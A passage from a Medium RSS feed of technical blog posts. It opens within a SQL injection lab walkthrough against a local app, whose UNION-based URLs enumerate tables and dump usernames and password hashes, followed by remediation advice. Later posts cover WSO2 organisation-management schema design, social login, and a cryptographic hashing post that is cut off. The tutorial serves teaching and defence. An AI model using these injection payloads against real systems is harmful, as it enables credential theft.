is.</p><h3>Further exploiting the vulnerability</h3><ol><li>Finding the database type.<br>Different database servers have their own <a href="https://security.stackexchange.com/questions/94419/sql-injection-find-sql-platform">command</a> to do so. Trial and error method for each and every database type might work here.</li></ol><pre>SELECT @@version # fails. Then you know it is not MS SQL or MySQL.<br>SELECT version() # fails. You know it is not PostGres<br>SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; # Succeeds! You know it is oracle.</pre><p>Life would be easier if an error stack trace is being printed into the web page as in this case. Here I’m just passing an invalid SQL syntax to print an exception thrown from the driver class.<br><a href="http://localhost:5000/home/4%20UNION%20gg">http://localhost:5000/home/4%20UNION%20gg</a><br>As per the below SQL trace, underlying is a Java backend with an SQL Lite database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SBneAdvWZgFZO77UBu-1XA.png" /><figcaption>Determining the database type</figcaption></figure><p>2. Determining the number of columns in the table.</p><p><a href="http://localhost:5000/home/2%20ORDER%20BY%201">http://localhost:5000/home/2%20ORDER%20BY%201</a><br>SELECT pageId, title, content FROM pages WHERE pageId = 1 ORDER BY X <br>Append an ORDER BY clause at the end and increase the column number until you get an error. In this case this table contains 3 columns as I get an exception when x = 4.</p><p>3. Listing all available tables.</p><p>SELECT tbl_name FROM sqllite_master WHERE type = &#39;table&#39; This query will print the table names on an SQL Lite server. We need to inject this into the URL however. Again, UNION attack.</p><pre><a href="http://localhost:5000/home/1%20union%20select%20tbl_name%20from%20sqlite_master%20where%20type=&#39;table&#39;">http://localhost:5000/home/1 union select tbl_name from sqlite_master where type=&#39;table&#39;</a></pre><p>Now we get an error as the number of columns doesn’t match on both sides. As we already know the number of columns in the application’s original table, we can easily amend the query as below.</p><pre><a href="http://localhost:5000/home/1%20union%20select%201,%202,%20tbl_name%20from%20sqlite_master%20where%20type=&#39;table&#39;">http://localhost:5000/home/1 union select 1, 2, tbl_name from sqlite_master where type=&#39;table&#39;</a></pre><p>This returns only one table. Named pages. Now the issue is with the number of rows returned, we can set an OFFSET and LIMIT to iterate through the results while returning only one at a time.</p><pre>http://localhost:5000/home/1 union select 1, 2, tbl_name from sqlite_master where type=&#39;table&#39; limit 1 offset 0</pre><p>Now if you increase the OFFSET by 1 and repeat the request, you can list all the available tables in the database. — pages, users</p><p>4. Extracting column names</p><pre><a href="http://localhost:5000/home/1%20union%20select%201,2,sql%20from%20sqlite_master%20where%20name=&#39;&lt;TABLE_NAME&gt;&#39;">http://localhost:5000/home/1 union select 1,2,sql from sqlite_master where name=&#39;&lt;TABLE_NAME&gt;&#39;</a></pre><p>Here change the table name with the table you want to extract the column names from i.e. pages, users</p><pre><a href="http://localhost:5000/home/1%20union%20select%201,2,sql%20from%20sqlite_master%20where%20name=&#39;users&#39;">http://localhost:5000/home/1 union select 1,2,sql from sqlite_master where name=&#39;users&#39;</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AN1HDj46AP6SSvpbbU_PFQ.png" /><figcaption>Extracting column names</figcaption></figure><p>5. Retrieving sensitive information.<br>Now that we know there’s a users table which contains UserName and Password columns, we can retrieve those information.</p><pre><a href="http://localhost:5000/home/1%20union%20select%201,%20UserName,%20Password%20from%20users">http://localhost:5000/home/1 union select 1, UserName, Password from users</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SLZM6xy198TnkYJy1ZjnVA.png" /><figcaption>Retrieving sensitive information</figcaption></figure><p>This only shows Admin user’s credentials. But you can modify the query with limit and offset functions to iterate through the records as we have done earlier.<br>Luckily for this application, passwords seems to be hashed.</p><h3>Fix</h3><ol><li>Avoid appending user input into the query when possible. <br>Even if we consider this example, one could’ve achieved the same results using the simple mapping stored in the backend, rather than taking the pageId from the request. (Backend logic matches the welcome -&gt; 1 and about -&gt; 2)<br><a href="http://localhost:5000/home/welcome">http://localhost:5000/home/welcome</a><br><a href="http://localhost:5000/home/about">http://localhost:5000/home/about</a></li><li>Sanitise the user inputs.<br>User input must be sanitised appropriately. Black listing characters hardly work. As attackers can always find a way around. (encoding, double encoding etc.) Therefore, if you are taking user input while building a query make sure you filter against a list of allowed characters. (Whitelisting)</li><li>Use<strong> prepared statements</strong> or equivalent<br>Prepared statements in Java will encode the parameter value in an SQL safe way. Change your SqliModel class as below and you won’t be able to inject SQL syntax anymore.</li></ol><p><a href="https://gist.github.com/nipunthathsara/1ed6eb1a2e95477d128ccf0700e6091f">https://gist.github.com/nipunthathsara/1ed6eb1a2e95477d128ccf0700e6091f</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWr3Tfe_SgJem1y0EAryVA.png" /><figcaption>Using prepared statements</figcaption></figure><p>4. Never pass the actual backend error/stack trace to the client side. You can always map the error to an error_code and pass the code in the response.</p><p>5. Always set the application’s database user’s permissions as needed. If this database user had only given read and write permission to users and pages tables, we wouldn’t have gotten this far this easily.</p><p>Cheers.</p><h3>References and further reading</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">https://owasp.org/www-community/attacks/SQL_Injection</a></li><li><a href="https://github.com/blabla1337/skf-labs/tree/master/java/sqli">https://github.com/blabla1337/skf-labs/tree/master/java/sqli</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55d67b09e3ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Organisation Management | Part 2 | Database Design]]></title>
            <link>https://medium.com/@nipunthathsara/organisation-management-part-2-database-design-a15abf6af2d5?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/a15abf6af2d5</guid>
            <category><![CDATA[wso2-identity-server]]></category>
            <category><![CDATA[authorization]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[wso2]]></category>
            <category><![CDATA[organization-management]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Sun, 19 Sep 2021 19:24:03 GMT</pubDate>
            <atom:updated>2021-09-19T19:24:03.648Z</atom:updated>
            <content:encoded><![CDATA[<h4>Database design of the organisation metadata and authorisation information storage</h4><p>Even though the WSO2 Identity Server supports all kinds of relational databases, this feature requires you to have an Oracle RDBMS set up as the UM database.</p><h4>Table design</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0QNu1MX3UN7kACAhVO1EAA.png" /><figcaption>UM_ORG : Store organisational metadata information</figcaption></figure><p>UM_ORG table stores organisations and their first class attributes like name, display_name.</p><ol><li>ID Randomly generated, immutable unique UUID for the organisation.</li><li>NAME Unique for a given tenant. This is guaranteed by the TENANT_ORG_CONSTRAINT unique constraint.</li><li>LAST_MODIFIED_BY and CREATED_BY SCIM IDs of the respective users who performed creation or modification.</li><li>HAS_ATTRIBUTES Holds a boolean value representing whether or not a particular organisation has any related entries in the UM_ORG_ATTRIBUTES table. So that we can avoid any extensive searching.</li><li>STATUS This can hold either ACTIVE or DISABLED states.</li><li>PARENT_ID An organisation may have one or many child organisations. Every organisation except the ROOT organisation must have a parent organisation. ROOT’s PARENT_ID is set as NULL. The foreign key constraint named FK_UM_ORG_UM_ORG governs this.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OfnapSM4-JZ7xXtkIyLX9g.png" /><figcaption>UM_ORG_ATTRIBUTES : Store organisational attribute information</figcaption></figure><p>UM_ORG_ATTRIBUTES table contains the data structure to store any additional information of an organisation. An organisation may have zero to many attributes maintained as key value pairs in this table referenced with their respective ORG_ID. Foreign key constraint FK_UM_ORG_ATTRIBUTES_UM_ORG governs this relationship between two tables whereas the ORG_ATTRIBUTE_CONSTRAINT unique constraint make sure the ATTR_KEY is not duplicated within the same ORG_ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JBvHbS9hNse8R8fKvNMsLQ.png" /><figcaption>UM_ORG_USERSTORE_CONFIGS : Store organisations’ user store config data</figcaption></figure><p>UM_ORG_USERSTORE_CONFIGS This table stores user store related configurations of an organisation. There are 3 possible user store configs as of this stage.</p><ol><li>USER_STORE_DOMAIN Each organisational hierarchy is defined within an LDAP user store. This specifies that user store domain. Example : PRIMARY.</li><li>DN Each organisation represents a subtree node of the LDAP. This property specifies the absolute path to that location. Example : ou=engineering,ou=Users,dc=wso2,dc=org</li><li>RDN This defines the relative DN of an organisation. Example : engineering.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZtdQJK0j68sMne_8GxVKWg.png" /><figcaption>UM_USER_ROLE_ORG : Store administrative permissions against each organisation</figcaption></figure><p>UM_USER_ROLE_ORG table contains authorisation details of admin users against organisations. As described in the previous article, organisation management has its own authorisation model which depends on the existing WSO2 authorisation model. This new model contains 3-way mapping of user-organisation-role, whereas the default only contains user-role mapping. Therefore, we needed a new table to store these information. Organisation authorisation model uses only the WSO2 hybrid roles which are originally stored in the UM_HYBRID_ROLE table. This model only differs from the default in how we store the user role assignments. But it uses the existing underlying functionality of role-permission assignment.</p><ol><li>UM_USER_ID SCIM Id of the admin user.</li><li>ORG_ID Organisation Id over which the user has this role assigned.</li><li>UM_HYBRID_ROLE_ID SCIM group Id of the assigned role.</li><li>ASSIGNED_AT A user can be assigned with an administrative role affecting not just one organisation but the full sub tree starting from a given organisation. If such is granted, this column defines at which level(organisation Id) the role was initially granted. This is tracked because we only allow such assignment to be revoked from that point only. Means, you can’t assign someone a role including a subtree and later revoke only a single organisation or a partial subtree of them. You have to point to the initial organisation where you granted them from, and then remove the assignment in full. No partial revocations allowed.</li><li>INHERIT As explained in #4, this property defines if a role assignment is atomic and impacts only a single organisation. Or if it is applied to the whole subtree underneath a given organisation. Remember that when you assign an admin user with a role with inherit=true, this will add a record per every organisation underneath a given point. For example, if a sub tree contains 1000 organisation and you choose to assign a role cascading to the whole subtree, that will create 1000 entries in the table. And all those record may have INHERIT=1.</li></ol><h4>Database Views</h4><p>The feature should ultimately support the below functionalities. Therefore, we have to deal with the information distributed in multiple tables. To make things further difficult, some of these queries are dynamically built. All these facts listed below lead us to define some DB views.</p><ol><li>Organisation listing API contains a filter parameter where you can filter organisation by their first class attributes, optional attributes and user store configs. This involves 3 different tables.</li><li>Above described API supports concatenation of multiple search conditions joint with AND or OR with or without parentheses. So this introduces a complex dynamically built search queries over multiple tables.</li><li>These tables contains zero to many or one to many relationships with each other.</li><li>Organisation listing(filtering) also has to be in compliant with the authorisation level of the user. This involves the fourth table as well.</li><li>Authorisation check should also consider the permissions assigned to each role. This involves multiple WSO2 default Registry related tables.</li></ol><p>Considering the above facts, we have decide to create two views as ORG_MGT_VIEW and ORG_AUTHZ_VIEW.</p><h4>ORG_MGT_VIEW</h4><pre>CREATE VIEW ORG_MGT_VIEW AS<br>SELECT<br>    K.*,<br>--    To cater search by parent organization&#39;s name<br>    CASE WHEN K.PARENT_ID IS NULL THEN NULL WHEN K.PARENT_ID IS NOT NULL THEN N.NAME END AS PARENT_NAME,<br>--    To cater search by parent organization&#39;s display name<br>    CASE WHEN K.PARENT_ID IS NULL THEN NULL WHEN K.PARENT_ID IS NOT NULL THEN N.DISPLAY_NAME END AS PARENT_DISPLAY_NAME<br>FROM<br>(SELECT<br>    O.ID,<br>    O.TENANT_ID,<br>    O.NAME,<br>    O.DISPLAY_NAME,<br>    O.DESCRIPTION,<br>    O.CREATED_TIME,<br>    O.LAST_MODIFIED,<br>    O.CREATED_BY,<br>    O.LAST_MODIFIED_BY,<br>    O.HAS_ATTRIBUTES,<br>    O.STATUS,<br>    O.PARENT_ID,<br>    A.ID ATTR_ID,<br>    A.ATTR_KEY,<br>    A.ATTR_VALUE,<br>    C.ID CONFIG_ID,<br>    C.ATTR_KEY CONFIG_KEY,<br>    C.ATTR_VALUE CONFIG_VALUE,<br>    U.UM_USER_ID,<br>    U.UM_ROLE_ID<br>FROM<br>    UM_ORG O<br>LEFT JOIN<br>    UM_ORG_ATTRIBUTES A<br>ON<br>    (O.HAS_ATTRIBUTES = 1 AND O.ID = A.ORG_ID)<br>LEFT JOIN<br>    UM_ORG_USERSTORE_CONFIGS C<br>ON<br>    O.ID = C.ORG_ID<br>LEFT JOIN<br>    UM_USER_ROLE_ORG U<br>ON<br>    O.ID = U.ORG_ID) K,<br>UM_ORG N<br>WHERE<br>    K.PARENT_ID = N.ID OR (K.PARENT_ID IS NULL)</pre><p>This view joins UM_ORG, UM_ORG_ATTRIBUTES and UM_ORG_USERSTORE_CONFIGS tables so that we can filter organisations using any first class, optional or user store attributes.</p><h4>ORG_AUTHZ_VIEW</h4><pre>CREATE VIEW ORG_AUTHZ_VIEW AS<br>SELECT <br>    URP.UM_PERMISSION_ID,<br>    URO.UM_ROLE_ID,<br>    URO.UM_HYBRID_ROLE_ID,<br>    URP.UM_ROLE_NAME,<br>    URP.UM_IS_ALLOWED,<br>    URP.UM_TENANT_ID,<br>    URP.UM_DOMAIN_ID,<br>    UP.UM_RESOURCE_ID,<br>    UP.UM_ACTION,<br>    UHR.UM_ID,<br>    URO.UM_USER_ID,<br>    URO.ORG_ID,<br>    UO.NAME<br>FROM<br>    UM_USER_ROLE_ORG URO<br>LEFT JOIN<br>    UM_HYBRID_ROLE UHR<br>ON<br>    (UHR.UM_ID = URO.UM_HYBRID_ROLE_ID)<br>LEFT JOIN<br>    UM_ROLE_PERMISSION URP<br>ON<br>    (UHR.UM_ROLE_NAME = URP.UM_ROLE_NAME)<br>LEFT JOIN<br>    UM_PERMISSION UP<br>ON <br>    URP.UM_PERMISSION_ID = UP.UM_ID<br>LEFT JOIN<br>    UM_ORG UO<br>ON<br>    URO.ORG_ID = UO.ID</pre><p>This view joins UM_USER_ROLE_ORG, UM_ORG, , UM_ROLE_PERMISSION and UM_PERMISSION tables to make authorisation decisions to return the results of API calls.</p><p>In the next blog, we’ll be discussing about the REST API design of the Organisation Management feature.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a15abf6af2d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Organisation Management | Part 1 | Introduction]]></title>
            <link>https://medium.com/@nipunthathsara/wso2-identity-server-organisation-management-part-1-820e0340b390?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/820e0340b390</guid>
            <category><![CDATA[ldap]]></category>
            <category><![CDATA[wso2-identity-server]]></category>
            <category><![CDATA[organization-management]]></category>
            <category><![CDATA[authorisation]]></category>
            <category><![CDATA[wso2]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Sat, 18 Sep 2021 14:58:36 GMT</pubDate>
            <atom:updated>2022-06-25T21:47:47.518Z</atom:updated>
            <content:encoded><![CDATA[<h4>Organisation Management — WSO2 Identity Server</h4><h4>Why do we need Organisation Management for?</h4><p>WSO2 Identity Server (as at 2021 Sept.) supports multi-tenanacy out of the box. This allows to maintain user identities and access management policies in a logically separated manner using shared resources of the server. For example, a Health Insurance Provider who provides its services in European Union countries may manage the identities of the citizens of multiple countries. Instead of going for the unmaintainable solution of having independent Identity Server deployment per country, they can have a single deployment where each country is represented using a tenant within the server. This provides completely logical isolation of tenant’s data from others.</p><p>However, this multi-tenancy architecture cannot cater the below requirements.</p><ol><li>Cannot define relationships amongst tenants.</li><li>An admin user with user management permissions will be able to manage all the users of that tenant. We can’t delegate any fine grained control over that.</li><li>Multi-tenanacy is a flat horizontal architecture where you cannot define any sub business units for organisations. Therefore, you can’t define a hierarchical authorisation model for admin users.</li></ol><p>To overcome these limitations and gaps, WSO2 Organisation Management has been introduced in 2020 as an extension to the product.</p><h4>Introduction</h4><p>Organisation Management does not replace WSO2 multi-tenancy, instead it runs within a tenant to subdivide it. Initial implementation of this feature will only support LDAP user stores. And it requires to have an Oracle database as the User database despite the fact that WSO2 Identity Server supporting all relational database management systems.</p><p>LDAP in nature supports hierarchical user data storage. But as explained above, WSO2 has been utilising this in a horizontal way where we have a single user search base and that would be partitioned to tenant specific subtrees upon a tenant creation. (However, you can utilise the vertical directory structure by pointing the subtree as a secondary user store within a tenant). Organisation Management allows maintaining users in vertical and horizontal subtrees(different organisational units).</p><p>WSO2 default authorisation model has the following architecture. WSO2 maintains a permission tree in its registry database. These permissions can be assigned to Groups or Roles. Groups are defined in user stores whereas the Roles are defined in the UM_HYBRID_ROLES table. Roles can then be assigned to users to categorise them and grant privileges to perform administrative tasks. Limitation here was, once a user was granted say user management permissions, they would be able to manage all the users within that tenant. You can’t define any narrower scope to that. But in the organisation management, it is required to have organisation wise administrators.</p><p>Organisation management may have users within multiple OUs of the LDAP. A user in OU A might be assigned to manage users of B and/or C. Here, there’s no such condition as A, B and C should fall within the same subtree. As this cannot be catered with the existing authorisation model of the Identity Server, we have introduced a new authorisation model for organisation management depending on the functionality of the existing model. Main difference here is that the this would have a 3-way mapping as organisation-user-role, whereas the existing model only had a 2-way mapping of organisation-user. Since now the storage requirements of these relationships have changed, we have used a separate table to manage those information.</p><p>This new authorisation model is also backed by new set of ReSTful APIs to access and manipulate organisation authorisation delegations.</p><p>Now that we have introduced a separate concept of organisations into the picture, we have to maintain meta information for those entities as well. These again are stored in newly introduced tables. Access and manipulation of the data are supported by ReSTful APIs developed for organisation management.</p><p>Even though we had SCIM2.0 ReSTful APIs to manage user identities, we had to provide support to organisation management features in the service layer(user store manager). However, the exposed SCIM2 API contracts remains intact and in compliant with the specification as it was originally.</p><p>Let’s discuss the database design from the next post.</p><p>Cheers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=820e0340b390" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identity Hub’s role in Social Logins]]></title>
            <link>https://medium.com/@nipunthathsara/identity-hubs-role-in-social-logins-570c03d531c6?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/570c03d531c6</guid>
            <category><![CDATA[social-login]]></category>
            <category><![CDATA[aml]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[openid-connect]]></category>
            <category><![CDATA[identity-federation]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Sun, 26 Apr 2020 16:58:22 GMT</pubDate>
            <atom:updated>2020-04-26T16:58:22.586Z</atom:updated>
            <content:encoded><![CDATA[<p>Most, if not all, widely used websites and mobile applications require authentication of its users. Or maybe the anonymous users are not allowed to use their service in full potential. This causes the users to go through a one time sign-up(registration) and after, a sign-in(login) process.</p><h4>Conventional application logins</h4><p>Such applications with <strong>conventional user registration and login </strong>process, where the first time visitors have to enter their demographics, pick a username:password and register themselves against the application are less common or popular nowadays. Check the below example from Oracle Live SQL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*yIaseCCIi1aXob6ayZo17g.png" /><figcaption><a href="https://login.oracle.com/mysso/signon.jsp">https://login.oracle.com/mysso/signon.jsp</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*UPXBVTch70JOkbCYEPSrfA.png" /><figcaption><a href="https://profile.oracle.com/myprofile/account/create-account.jspx">https://profile.oracle.com/myprofile/account/create-account.jspx</a></figcaption></figure><p>I just wanted to check for a syntax error in an Oracle query. So I was going to use their <a href="https://livesql.oracle.com/apex/f?p=590:1000">Oracle Live SQL</a> for this as I didn&#39;t have a set up locally. After seeing their sign-up page, decided to use Docker instead,</p><p><strong>Problem with conventional sign-up/in, as a user.<br></strong>- Above registration form of course.<br>- For each such application, a new set of credentials to remember.<br>- Users tend to use the same credential between applications. Malicious websites’s admin can easily get a hold of a potential pass to another site.<br>- These registrations usually involve a followup email verification.</p><p><strong>Problem with conventional sign-up/in as a developer.</strong><br>- Less user attraction.<br>- Risk of compromise due to users duplicating their passwords with other sites.</p><h4>Bring Your Own Identity (BYOI)</h4><p>I had a hard time finding an example(a famous one) for the above. Means, most applications don’t prompt their users with such registration page. Instead, they ask the users to bring their own identity with them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*osyFXK-SvQJ84_NYEbhefQ.png" /><figcaption><a href="https://medium.com/">https://medium.com</a></figcaption></figure><p>Medium doesn’t prompt new users with a registration page. Users can register themselves with Medium using their existing accounts in either Facebook or Google. If you don’t have an account with either, you can of course proceed with your email.</p><h4>What’s Social Login?</h4><p>Some companies like Google and Facebook already have a huge user base with considerable set of demographics on each user. This enables them to act as Identity Providers for other applications. Instead of Medium asking for your personal information and prompting you to create a new username:password, it redirects you to the selected social network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*_oqubGpdbRR3vwsN1YRK7A.png" /><figcaption>Signup to Medium with Facebook</figcaption></figure><p>If I choose Facebook, then my browser will be redirected to the Facebook’s user consent page as above. Where it asks for my authorization to provide Medium with my <strong>name, profile picture </strong>and <strong>email</strong>. Upon providing consent to the above, Medium will receive the mentioned information and create an account on behalf of me. I didn’t have to re-provide my details to Medium, but just to provide consent to obtain those information from Facebook.</p><h4>How can I login to my new Medium account?</h4><p>If you’ve noted, I was never prompted to create a username:password during my registration with Medium. So how can I authenticate myself to the Medium next time I want to login? Can I use my Facebook credentials to login to Medium now?</p><p>On their consent page, Facebook didn’t ask for my consent to share my credentials with Medium. Because it did not share my credentials with Medium. Sharing a user’s credential with a third party application enables them(the third party) to login to that user’s Facebook account as well. Therefore, no social network shares their users’ credentials.</p><p>Upon trying to login to Medium from my browser, Medium will redirect my browser to the Facebook’s authorization endpoint. As this redirection is to the Facebook’s domain, whatever the cookies that were created for this domain(facebook.com) during my Facebook login, will also be sent along with that request. These cookies allow Facebook to identify my logged in session with them. Then it checks if this authenticated user(myself) has allowed Medium login via Facebook(I’ve provided consent for Medium earlier). Then it will respond to Medium with a security token confirming my identity. Medium is to process that response and log me in.</p><p>This process only involved my Facebook cookies and in return, a security token. No passwords. As Medium trusts Facebook as a trusted Identity Provider, it only has to verify if the given security token is issued by Facebook itself.</p><h4>Single Sign-On (SSO)</h4><p>As a result of enabling social login for Medium, now the end user experiences the comfort of Single Sign-On. Where they only had to sign in (using username:password) once(to the Facebook) on this device(browser) to access both Medium and Facebook. If you had integrated LinkedIn as well with Facebook, that too can be accessed with the same SSO session. While accessing the integrated applications, user won’t even notice the browser redirection.</p><h4>Underlying Protocols</h4><p>There are many Social Networks and Applications in use. This imposes a difficulty in integrating these applications with one another due to their heterogeneous implementations. To fill this gap in message passing, we have some commonly used protocols as below.</p><ol><li><a href="https://en.wikipedia.org/wiki/SAML_2.0">SAML</a> (Security Assertion Markup Language) : XML based protocol</li><li><a href="https://openid.net/connect/">OpenID Connect</a> : Authentication protocol built on top of Oauth2 authorization framework.</li></ol><p>These protocols standardize the messages between the applications(service providers) and the Social Networks(Identity Providers). As this blog is not a discussion on neither SAML nor OpenID Connect, I will not elaborate more on those.</p><h4>Dedicated Identity Hub’s role in social login integration</h4><p>If you have a simple web application which you want to integrate with either Facebook, Google or both, you can achieve this without using a dedicated hub at all. You just have to implement the logic within your application to interact with those social networks. For example, Medium doesn’t go through such a hub.</p><p>But there might be occasions where an adoption of a hub is required.</p><ol><li>What if your application developer has only made it compatible with SAML. But now you want to integrate it with Facebook which only supports OpenID Connect. May be you don’t posses the source code or the required programming knowledge to make it OIDC friendly.</li><li>What if your legacy application doesn’t support any standard protocols at all. None of the social network will agree to cater your application’s custom defined authentication request and response templates. This requires a significant change in your legacy application side to make it compatible with the latest protocols. Sometimes the legacy application code is not meant to be touched as per the organization’s policy.</li><li>For now you only needs Facebook integration, but down the line you might want to integrate with other providers as well. Which requires continuous changes in the application side to make it compatible with the new providers. (back-end and UI changes)</li><li>May be your Identity Provider(a legacy user store which supports authentication via custom SOAP services) is not meant for that purpose hence doesn’t support any standard protocols.</li></ol><p>There are many Identity Federation Hubs that you can adopt in your social login solutions. Basically what it does is, instead of your application directly talking to the identity providers, it talks to the hub. Then the hub federates your requests to the respective identity providers. Once the hub receives a response, it will propagate that appropriately to your application. Let’s see how the above 4 issues can be resolved with the use of an Identity Hub.</p><ol><li>Identity hub complies with most of the common protocols including SAML. Therefore, your application can redirect the users to the hub where the hub then communicates with Facebook using OpenId Connect. Once the user is authenticated with Facebook, hub will response to your application in a SAML compliant way. This whole process didn’t require any code level changes in your application.</li><li>As a hub is dedicated for this particular task of federation, it expects to communicate with all kinds of applications and identity providers. Including the ones who don’t comply to any standard protocols. A good extensible hub will allow you to extend the hub’s capabilities to communicate with your legacy application with a simple customization within the hub. With such, your legacy application will be able to communicate with the hub in its own way. Then the hub can talk to the Identity Providers in the standard way and propagate the response back to the application in a desired manner.</li><li>May be your application needs to be integrated with multiple new providers over the time. If you had a hub in place, the application is already configured with the hub. Therefore, to integrate it with another provider such as Google, you only need to do the configuration changes within the hub. Connection between your application and the hub stays intact.</li><li>As described in (2), flexibility to extend the ‘hub to provider’ communication, will resolve this blocker.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*KU_5P_HpeNtaIDRNCukNuQ.jpeg" /><figcaption>Identity Hub</figcaption></figure><h4>Summary</h4><ul><li>Conventional user registrations and logins are an overhead to both users and developers.</li><li>Integrating social networks with your applications is the current trend.</li><li>Identity hubs play a major role in organizations’ SSO solutions to offload the development and maintenance overhead.</li></ul><p>Cheers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=570c03d531c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cryptographic Hashing]]></title>
            <link>https://medium.com/@nipunthathsara/cryptographic-hashing-4a4e7be07fcd?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a4e7be07fcd</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hashing]]></category>
            <category><![CDATA[hash]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Sat, 18 Apr 2020 17:26:44 GMT</pubDate>
            <atom:updated>2020-04-18T17:26:44.208Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>A <strong>hash function</strong> is any function that can be used to map data of arbitrary size to fixed-size values.</blockquote><p>In simple terms, one can come up with a hash function that converts the above definition, or else, this whole post in to ZXC2H&amp;S2. That end result is called <strong>digest </strong>of the input string. Cryptographic hashing is meant to be <strong>one-way</strong>. Meaning, you wouldn’t be able to derive the message from its digest (infeasible).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*4uC5ACC7gH6htEg4N_hjtg.jpeg" /><figcaption>Example 1</figcaption></figure><h4>Characteristics of a good hash function</h4><ol><li>Deterministic<br>Provided the same input string, it should always output the same digest. Most of the user stores (OpenLDAP, Active Directory etc.) facilitate storing user passwords as hashes instead of plain text. User authentication would fail despite providing the correct credentials if the same hash function is to output different results.</li><li>Efficient<br>Some systems use hash functions very often and frequently. For example, SSL handshakes. Therefore, the function should not utilize much resources (CPU/Memory) when calculating the digest. On the other hand, if it’s not heavy enough, then one can brute force his way into something. For example, say that the above mentioned user store with hashed passwords got compromised. Hash function itself is not a secret. Even the attacker can use the same function. If so, then he can brute force some common passwords set(dictionary attack maybe) with the same hash function till he finds a matching hash. Once then, he now can access to that user’s account using that credential. It would’ve taken him longer to crack that password if the function was heavy enough for his infrastructure.</li><li>Collision Resistant<br>Hash collision is when two different input strings turned out to be sharing the same digest after applying the same hash function. A good hash function should have a very small probability for this to happen. Otherwise, user Alice (alice:123)could’ve logged in to Bob’s (bob:456) account using her own password bob:123. Why a collision is possible at the first place? Imagine a hash function which takes any possible combination of 50 characters from a defined char set as the input string and outputs a 5 characters length-ed digest consisted of the same char set. When the number of input combinations are higher than the possible unique output digests, there’s a chance of collision as we can’t assure one to one mapping. But this probability should be small enough to neglect.</li><li>Uncorrelated Messages and Digests<br>The slightest change in the message string should generate a totally different digest from the previous. If one can identify a pattern in the change of the digest for a slight modification of the input stream, then it drastically reduces the possible combinations for a brute force attack and makes the attacker’s life easier.</li><li>Pre-Image Resistant<br>It must be infeasible to determine the message given its digest(irreversible). Hashing is mapping of a message to a fixed size values. Then the number of unique digests are limited. If your hash function is a “Dice”, then the number of unique outputs are 6. Easy enough to determine the input messages. But if your Digest is of 128 bits long, then there would be 2¹²⁸ possible outputs.</li></ol><h4>Hashing is not Encryption</h4><p>When you encrypt a message, you can always decrypt that cipher value with the private key and get the plain text message. It’s reversible and no data loss when generating the cipher value from the plain text message. And in encryption, you are expected to keep a key as a secret.</p><p>In contrast, it’s infeasible(or impossible) to generate the plain text value from a digest(If there’s no data loss from hashing, then there’s always a chance). We don’t keep any secrets when hashing, hash functions are publicly available. As there’s no one to one mapping in most functions, there indeed is a data loss(making it impossible as now you can only generate a set of candidates, not just one).</p><h4>Practical Applications of Hashing</h4><ol><li><strong>Hashed passwords</strong> : As explained earlier in this post, modern applications don’t store their users’ password in plain text. Instead, hashed. So that even though the user store is compromised, attacker would not be able to make use of it. This mitigates the threat of internal forges as well. In case if your LDAP admin tries to login as a particular customer, still he might fail to obtain the credentials if you stored hashed passwords.</li><li><strong>Message signing</strong> : Bob sends a message to Alice. But Alice needs to confirm if the received message is what exactly Bob’s sent, not altered nor tampered in between. This requires Bob to digitally sign his message, so that Alice could verify the signature later. (Explaining this later in this post)</li></ol><h4>Problem with hashed passwords</h4><p>As mentioned repeatedly, a good user store stores the hashed password instead of the plain text. But hashing alone doesn’t ensure enough security due to few reasons.<br>- An attacker who has a pre-calculated(makes the attack faster) hashes of a arranged set of possible passwords(pre-computed dictionary attack), can brute force to check if there’s a matching hash within the user store.<br>- Due to the deterministic characteristic of the hash function, Bob and Alice, who happen to choose the same password pass123, would generate the same hashTYH2JKK. If the above attacker was able to find a match for 